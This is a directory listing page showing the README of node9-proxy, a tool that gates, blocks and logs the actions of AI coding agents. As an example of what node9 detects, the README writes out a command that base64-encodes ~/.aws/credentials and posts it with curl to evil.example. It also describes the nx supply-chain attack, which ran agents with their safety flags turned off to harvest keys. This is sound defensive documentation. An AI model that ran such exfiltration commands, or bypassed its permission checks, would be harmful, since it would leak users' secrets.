Skip to content
Back to search

node9-proxy

Access control for AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.

Safety scan

A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.

Checked today

Check it deeper on your machine

It has changed since its scan on 11 Nov 2026.

As a Claude Code plugin, install it and then ask Claude Code:

/plugin marketplace add keithmackay/mackayi/plugin install scanskillsafety@mackayiDo a deep scan of https://github.com/node9-ai/node9-proxy with scanskillsafety

Or from a terminal, clone it and run it:

git clone https://github.com/keithmackay/scanskillsafety-skill ~/.claude/skills/scanskillsafetynode ~/.claude/skills/scanskillsafety/cli.cjs --deep 'https://github.com/node9-ai/node9-proxy'

It checks the exact commit: every file, its packages against OSV (api.osv.dev), how it compares with this page's scan (findsafeskills.com receives the repository's address), and, if you agree, Claude reading every file with your own Claude subscription. It never runs the code.

Badge for your README
findsafeskills safety rating

Markdown

[![findsafeskills safety rating](/api/listings/node9-ai--node9-proxy/badge.svg)](/listings/node9-ai--node9-proxy)

HTML

<a href="/listings/node9-ai--node9-proxy"><img src="/api/listings/node9-ai--node9-proxy/badge.svg" alt="findsafeskills safety rating" /></a>

Install

i

Install instructions from the README

As written by the repo's author. findsafeskills has not verified these steps.

brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

Then, in any project:

node9            # first run: choose dashboard connection or local protection
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

Requires Node.js 22+.

On a new interactive terminal, `node9` guides you through setup. Local protection needs no account. The checklist shows recommended shields, DLP/PII, optional network egress review, and the background service. Usage statistics are sent only if you accept the separate prompt. The summary lists configured agents and any setup steps that need attention.

Run `node9 setup` to revisit setup, or `node9 setup <target>` to configure one agent. Once configured, bare `node9` shows help. `node9 init` remains available; for scripts use `node9 init --recommended` (no questions and no telemetry opt-in). `--skip-setup` leaves agent wiring and service installation alone. Explicit `--mode` takes precedence over the checklist's standard-mode recommendation. Existing settings are preserved unless selected changes or explicit flags request an update. Workspace policy is managed in the dashboard; service settings remain local.

**`login` adds nothing to enforcement.** It connects the machine to a workspace so a team can see one record across everyone's laptops and CI, set policy centrally, and approve held actions from a dashboard or Slack. Skip it and node9 works exactly the same, alone, offline. `node9 logout` disconnects again and local enforcement keeps running.

What was scanned

The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.

README.md · README · 304 lines

View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)

This file has changed since it was scanned, so this is not exactly the text that was scanned, and no line is marked. The findings are listed with the safety scan above.

  1. <h1 align="center">🛡️ node9</h1>
  2. <p align="center">Access control for AI agents</p>
  3. <p align="center"><strong>Your AI agents can reach Slack, GitHub, email, and your database.<br />node9 decides what they may do with each one.</strong></p>
  4. <p align="center">
  5. <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/v/node9-ai.svg" alt="npm version" /></a>
  6. <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/dm/node9-ai.svg" alt="monthly downloads" /></a>
  7. <a href="https://opensource.org/licenses/Apache-2.0"><img src="https://img.shields.io/badge/License-Apache%202.0-blue.svg" alt="License: Apache 2.0" /></a>
  8. <a href="https://node9.ai/docs"><img src="https://img.shields.io/badge/docs-node9.ai-blue" alt="Documentation" /></a>
  9. <a href="https://www.bestpractices.dev/projects/14454"><img src="https://www.bestpractices.dev/projects/14454/badge" alt="OpenSSF Best Practices" /></a>
  10. <a href="https://scorecard.dev/viewer/?uri=github.com/node9-ai/node9-proxy"><img src="https://api.scorecard.dev/projects/github.com/node9-ai/node9-proxy/badge" alt="OpenSSF Scorecard" /></a>
  11. <a href="https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml"><img src="https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K" alt="node9 self-scanned" /></a>
  12. <a href="https://github.com/hesreallyhim/awesome-claude-code"><img src="https://awesome.re/mentioned-badge-flat.svg" alt="Mentioned in Awesome Claude Code" /></a>
  13. </p>
  14. **Credential jail** · **secrets and PII** · **destructive git, SQL and shell held for review** ·
  15. **MCP tool pinning** · **network egress allowlist** · **loop breaker** · **one record across twelve agents**
  16. Works with **Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · any MCP server**.
  17. ## Three ways in
  18. | | | |
  19. | --------- | ------------------------------------------------------------------------------------------ | --------------------------------------------------- |
  20. | **See** | Scan a repository on every pull request, or check this machine. Nothing to install. | [Scan every pull request](#scan-every-pull-request) |
  21. | **Guard** | Put node9 in front of every tool call your agents make: allowed, blocked, or held for you. | [Guard your agents](#guard-your-agents) |
  22. | **Prove** | One OWASP Agentic Top 10 report across every agent and every machine your team runs. | [Prove it to your team](#prove-it-to-your-team) |
  23. ## Scan every pull request
  24. This repository is also the GitHub Action
  25. **[node9 Agent Security](https://github.com/marketplace/actions/node9-agent-security)**.
  26. It reads the agent configuration committed to a repository (workflows, agent settings, MCP
  27. servers, instruction files) and reports what a pull request could turn against you. Nothing
  28. runs, no agent is installed, and it needs no account and no secret: the job token is enough.
  29. Add one file, `.github/workflows/agent-security.yml`:
  30. ```yaml
  31. name: node9 agent-security
  32. on: pull_request
  33. permissions:
  34. contents: read
  35. pull-requests: write
  36. checks: write
  37. jobs:
  38. scan:
  39. runs-on: ubuntu-latest
  40. steps:
  41. - uses: node9-ai/node9-proxy@v2
  42. with:
  43. fail-on: high # never | medium | high | critical
  44. fail-on-scope: introduced # judge only what this PR added or made worse
  45. ```
  46. Every pull request then gets:
  47. - **A check** that passes or fails at the severity you choose.
  48. - **One comment** that leads with the worst finding in plain words and how to fix it, updated in place on every push.
  49. - **Annotations** on the lines that caused them.
  50. ### What it looks for
  51. | | |
  52. | ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
  53. | **Workflows a stranger can steer** | a workflow that hands the text of an issue or a pull request to an agent that holds secrets or can run commands, or that runs the agent inside a fork's code |
  54. | **Agent settings** | allow rules that cover credentials or any command, hooks that fetch remote code, local settings committed by mistake |
  55. | **MCP servers and plugins** | a server installed at whatever version is newest, a credential written into the config |
  56. | **Secrets in reach** | secrets an agent in a workflow can read, and the ways it could leak them |
  57. | **Instruction files and skills** | hidden characters, text that tells the agent to drop its instructions, to fetch and obey a page, or to send data out |
  58. The comment, on a repository where anyone can open an issue that an agent reads:
  59. > **🛡️ node9 agent-security · 🔴 High: action needed**
  60. >
  61. > **Anyone can make this repository's AI agent act with its permissions**
  62. >
  63. > A stranger opens an issue with instructions for the agent. The agent follows them with this
  64. > repository's permissions.
  65. >
  66. > **What we saw** in `.github/workflows/triage.yml:13`:
  67. >
  68. > - Anyone can start the agent (`allowed_non_write_users: "*"`).
  69. > - It reads the text of the pull request or issue.
  70. > - It can run any command (`Bash`).
  71. >
  72. > **✅ How to fix:**
  73. >
  74. > 1. Let only people with write access start it: remove `allowed_non_write_users: "*"`.
  75. > 2. Give the agent only the tools the job needs.
  76. >
  77. > **Also found:**
  78. >
  79. > - 🟡 MCP server `files` installs whatever version is newest, every time (`.mcp.json`)
  80. ### Inputs
  81. | Input | Default | |
  82. | ------------------ | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
  83. | `fail-on` | `never` | The severity that fails the check: `never` comments without gating, `medium`, `high` or `critical`. |
  84. | `fail-on-scope` | `all` | `introduced` judges only what the pull request added or made worse, so a repository that already has findings can turn the gate on today. |
  85. | `comment` | `true` | Post the comment on the pull request. |
  86. | `annotate` | `true` | Annotate the findings on the diff. |
  87. | `node9-version` | `latest` | The `node9-ai` version that scans. Pin it for reproducible runs. |
  88. | `node9-upload-key` | empty | Optional. Sends each push scan to your node9 workspace, which keeps the history per repository. Empty sends nothing. |
  89. | `telemetry` | `true` | An anonymous usage count per run: the scanner version, the operating system, the worst severity, whether the scan finished, and a hash of the repository's numeric id that node9 keeps only inside a count. Never the repository name, a path, a finding or any code. |
  90. Under `pull_request_target` the Action does not scan and says so: there it would read the base
  91. branch, not the pull request. The full reference is in the
  92. [repository scanning docs](https://node9.ai/docs/repo-scanning).
  93. ### Check a repository or this machine now
  94. No workflow, no install and no account. `scan-repo` sends the same anonymous usage count as the
  95. Action (no repository name, no code); set `NODE9_NO_TELEMETRY=1` to turn it off.
  96. ```bash
  97. npx node9-ai scan-repo owner/repo # the same scan as the Action, on any public repository
  98. npx node9-ai posture # scores this machine 0-100: what a compromised agent could read, reach and run
  99. npx node9-ai scan # every past agent session on this machine
  100. ```
  101. The hosted scan at **[node9.ai/scan](https://node9.ai/scan)** does the first one in the browser.
  102. <p align="center">
  103. <img src="https://github.com/user-attachments/assets/7c5b30f1-1ca1-40b4-bfd5-d6671002e98e" width="720" alt="node9 scan scorecard" />
  104. </p>
  105. ## Guard your agents
  106. node9 sits between an agent and every tool it calls: files, commands, the network and every
  107. app it reaches. Each call is allowed, blocked, or held for you.
  108. Below, a real Claude Code session with node9 installed. Every tool call is checked
  109. before it runs. Building a page and editing a button run. A request to the cloud
  110. metadata address is blocked, and the agent gets the reason and carries on.
  111. Deleting files waits for your approval, right in the chat.
  112. <p align="center">
  113. <img src="https://github.com/user-attachments/assets/be4e7037-3cbb-41d8-9f1a-985067914c1f" width="760" alt="node9 in a Claude Code session: node9 is on, a .env read is blocked, a force push waits for approval" />
  114. </p>
  115. ### Install
  116. ```bash
  117. brew tap node9-ai/node9 && brew install node9 # macOS / Linux
  118. npm install -g node9-ai # any platform
  119. ```
  120. Then, in any project:
  121. ```bash
  122. node9 # first run: choose dashboard connection or local protection
  123. node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
  124. node9 login # optional: adds this machine to a shared dashboard
  125. ```
  126. Requires Node.js 22+.
  127. On a new interactive terminal, `node9` guides you through setup. Local protection
  128. needs no account. The checklist shows recommended shields, DLP/PII, optional
  129. network egress review, and the background service. Usage statistics are sent
  130. only if you accept the separate prompt. The summary lists configured agents
  131. and any setup steps that need attention.
  132. Run `node9 setup` to revisit setup, or `node9 setup <target>` to configure one agent.
  133. Once configured, bare `node9` shows help. `node9 init` remains available; for
  134. scripts use `node9 init --recommended` (no questions and no telemetry opt-in).
  135. `--skip-setup` leaves agent wiring and service installation alone. Explicit
  136. `--mode` takes precedence over the checklist's standard-mode recommendation.
  137. Existing settings are preserved unless selected changes or explicit flags request
  138. an update. Workspace policy is managed in the dashboard; service settings remain local.
  139. **`login` adds nothing to enforcement.** It connects the machine to a workspace so
  140. a team can see one record across everyone's laptops and CI, set policy centrally,
  141. and approve held actions from a dashboard or Slack. Skip it and node9 works exactly
  142. the same, alone, offline. `node9 logout` disconnects again and local enforcement
  143. keeps running.
  144. Every release artifact is signed. To check one yourself:
  145. ```bash
  146. gh attestation verify cli.js --repo node9-ai/node9-proxy
  147. ```
  148. ### Use as an MCP server
  149. node9 also runs as an MCP server, so an agent can read its status, posture, audit
  150. record and policy, and explain any decision, from inside the conversation:
  151. ```bash
  152. claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server
  153. ```
  154. Any MCP client works the same way: the command is `npx -y node9-ai mcp-server`
  155. over stdio, with no API key. It is listed in the official MCP Registry as
  156. `io.github.node9-ai/node9`.
  157. ## Prove it to your team
  158. Once machines are connected with `node9 login`, the dashboard reads them as one report on the
  159. **OWASP Top 10 for Agentic Applications**, for every agent and every team. For each of the ten
  160. risks it shows which devices and repositories are exposed now, what happened, and what your
  161. policy stopped. Each number opens to the device, the repository or the check behind it.
  162. - **[A sample report](https://node9.ai/owasp-report)**: the report as a team sees it, readable before you install anything
  163. - **[How to read the report](https://node9.ai/docs/owasp-report)**: what each column counts
  164. ## The problem
  165. In August 2025, compromised releases of the
  166. [`nx` build tool](https://github.com/advisories/GHSA-cxm3-wv7p-598c) shipped a post-install
  167. script that looked for AI coding agents already installed on the developer's machine, then ran
  168. them with their own safety flags turned off (`--dangerously-skip-permissions`, `--yolo`,
  169. `--trust-all-tools`) to enumerate SSH keys, cloud credentials and wallet files and write the list
  170. to disk. The script pushed the results to public repositories inside the victims' own GitHub
  171. accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm
  172. tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was
  173. told.
  174. The agent was not the attacker. The agent was the tool, and nothing stood between it and the
  175. files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays
  176. held even when the agent was started with permissions skipped.
  177. ## What node9 does about it
  178. node9 sits between the agent and every tool it calls. The credential jail (`~/.ssh`, `~/.aws`,
  179. `.env` files, private keys) is on by default, and a read of one of those paths does not run.
  180. The agent is stopped, told why, and the decision comes to you:
  181. ```text
  182. NODE9: Action blocked by security policy.
  183. INSTRUCTIONS:
  184. - Do NOT retry this exact command or attempt to bypass the rule.
  185. - Pivot to a non-destructive or read-only alternative.
  186. - Inform the user which security rule was triggered and ask how to proceed.
  187. ```
  188. The command is parsed as a shell AST, not matched as text, so wrapping the read does not help.
  189. `echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example` is judged as a read
  190. of `~/.aws/credentials`, not as an `echo`.
  191. node9 is a **gate**. A held action does not run while it waits for you, and if you never answer
  192. it stays blocked. Everything else is allowed and written to the record.
  193. **What it does not do:** with egress control off, which is the default, a command that hands a
  194. file straight to the network, such as `curl -d @~/.aws/credentials`, is not treated as a read of
  195. that file. `node9 egress protect` gates destinations as well, and it covers shell commands only.
  196. ## What it governs
  197. Each line is one capability, with the page that documents it. The docs are the
  198. reference; this file is the map.
  199. | | | |
  200. | --------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ |
  201. | **Credential jail** | `~/.ssh`, `~/.aws`, `.env` and private keys are blocked from every tool, not just the shell | [docs](https://node9.ai/docs/shields) |
  202. | **Always-on rules** | destructive git, SQL without a `WHERE`, `curl \| bash` and unauthorised `sudo`, with no config | [docs](https://node9.ai/docs/smart-rules) |
  203. | **Secrets and PII** | AWS keys, GitHub and Stripe tokens, PEM keys and card or SSN shapes, in any tool argument, plus a background scan of what the agent wrote back | [docs](https://node9.ai/docs/dlp) |
  204. | **Per-service shields** | curated rule packs for Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub and the filesystem | [docs](https://node9.ai/docs/shields) |
  205. | **Inline review** | a held action asks you inside the agent conversation, or through a team approver | [docs](https://node9.ai/docs/cloud-policy) |
  206. | **Egress allowlist** | gate where a shell command may send data, off by default | [docs](https://node9.ai/docs/egress) |
  207. | **MCP gateway** | wrap any MCP server, authorise each tool, and pin tool definitions so a server cannot change them behind your back | [docs](https://node9.ai/docs/mcp-gateway) |
  208. | **Sandbox** | run an agent in a container with a kernel egress allowlist and scoped mounts | [docs](https://node9.ai/docs/sandbox) |
  209. | **Posture score** | how exposed this machine is, with the command that fixes each finding | [docs](https://node9.ai/docs/posture) |
  210. | **Repo scanning** | find workflows where an outsider could hijack an agent that holds your secrets, in CI or from the CLI | [docs](https://node9.ai/docs/repo-scanning) |
  211. | **Session history** | read what every agent already did on this machine, before node9 was installed | [docs](https://node9.ai/docs/sessions) |
  212. | **Live monitor and report** | a terminal dashboard, and a windowed summary of cost, tools, blocks and blast radius | [docs](https://node9.ai/docs/report) |
  213. | **Skills pinning** | SHA-256 verification of installed Claude skills and plugins between sessions | [docs](https://node9.ai/docs/skill-pinning) |
  214. | **Canary credentials** | planted fake keys that prove an exfiltration attempt happened | [docs](https://node9.ai/docs/canary-credentials) |
  215. | **Python SDK** | govern any Python agent, not only the CLIs | [docs](https://node9.ai/docs/python-sdk) |
  216. Full CLI and config reference: **[node9.ai/docs](https://node9.ai/docs)**.
  217. How the layers fit together: **[how it works](https://node9.ai/docs/how-it-works)**.
  218. ## Learn
  219. Background reading, written to stand on its own. Each page says what node9 does not cover.
  220. - **[What can a hijacked agent do?](https://node9.ai/learn/what-can-a-hijacked-agent-do)**: the blast radius of one compromised session
  221. - **[How an AI agent leaks a secret](https://node9.ai/learn/ai-agent-secret-exfiltration)**: the paths a credential actually takes out
  222. - **[Claude Code security](https://node9.ai/learn/claude-code-security)**: hooks, permission modes, and what they do not stop
  223. - **[MCP security](https://node9.ai/learn/mcp-security)**: the tool surface an MCP server opens
  224. - **[OWASP Agentic Top 10](https://node9.ai/learn/owasp-agentic-top-10)**: the list, mapped to real controls
  225. ## Compare
  226. - **[node9 against the alternatives](https://node9.ai/compare)**: a matrix, including the rows where node9 scores worse
  227. - **[Per-agent coverage](https://node9.ai/agents)**: what is governed on each of the twelve supported agents
  228. ## Related projects
  229. - **[node9-python](https://github.com/node9-ai/node9-python)**: Python SDK
  230. ## Enterprise
  231. **node9 Pro** adds governance locking, SAML/SSO, central audit export, and VPC deployment. See [node9.ai](https://node9.ai).
  232. ## License
  233. Apache-2.0
  234. <p align="center">
  235. <sub>Built with ☕ and healthy paranoia.</sub>
  236. </p>

Ratings and comments

Sign in to rate this skill.

Sign in

Free to use. If it’s helped, pass it on.